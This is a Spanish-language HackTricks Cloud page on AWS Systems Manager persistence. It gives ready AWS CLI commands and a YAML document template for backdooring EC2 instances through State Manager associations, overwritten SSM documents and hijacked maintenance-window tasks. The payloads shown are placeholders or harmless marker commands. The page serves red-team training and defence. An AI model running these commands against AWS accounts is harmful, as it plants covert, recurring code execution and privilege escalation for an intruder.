AWS - SSM Perssitence
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
SSM
Para más información, consulta:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Using ssm:CreateAssociation for persistence
Un atacante con el permiso ssm:CreateAssociation puede crear una State Manager Association para ejecutar automáticamente comandos en instancias EC2 gestionadas por SSM. Estas asociaciones pueden configurarse para ejecutarse a un intervalo fijo, lo que las hace adecuadas para persistencia tipo backdoor sin sesiones interactivas.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Este método de persistence funciona mientras la instancia EC2 sea administrada por Systems Manager, el agente de SSM esté en ejecución y el atacante tenga permiso para crear associations. No requiere sesiones interactivas ni permisos explícitos de
ssm:SendCommand. Importante: el parámetro--schedule-expression(p. ej.,rate(30 minutes)) debe respetar el intervalo mínimo de AWS de 30 minutos. Para una ejecución inmediata o única, omite--schedule-expressionpor completo — la association se ejecutará una vez después de su creación.
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
Un atacante con los permisos ssm:UpdateDocument y ssm:UpdateDocumentDefaultVersion puede escalar privilegios modificando documentos existentes. Esto también permite persistence dentro de ese documento. En la práctica, el atacante también necesitaría ssm:ListDocuments para obtener los nombres de los custom documents y, si el atacante quiere ofuscar su payload dentro de un documento existente, ssm:GetDocument también sería necesario.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Abajo hay un documento de ejemplo que puede usarse para sobrescribir un documento existente. Querrás asegurarte de que el tipo de tu documento coincida con el tipo de los documentos objetivo para evitar problemas con innvocation. El documento de abajo, por ejemplo, funcionará con los ejemplos ssm:SendCommand y ssm:CreateAssociation.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
Un atacante con los permisos ssm:RegisterTaskWithMaintenanceWindow y ssm:RegisterTargetWithMaintenanceWindow puede escalar privilegios registrando primero un nuevo target con una maintenance window existente y luego actualizando registrando una nueva task. Esto logra ejecución sobre los targets existentes, pero puede permitir a un atacante comprometer compute con diferentes roles al registrar nuevos targets. Esto también permite persistence, ya que las maintenance windows tasks se ejecutan en un intervalo predefinido durante la creación de la ventana. En la práctica, el atacante también necesitaría ssm:DescribeMaintenanceWindows para obtener los IDs de las maintenance windows.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

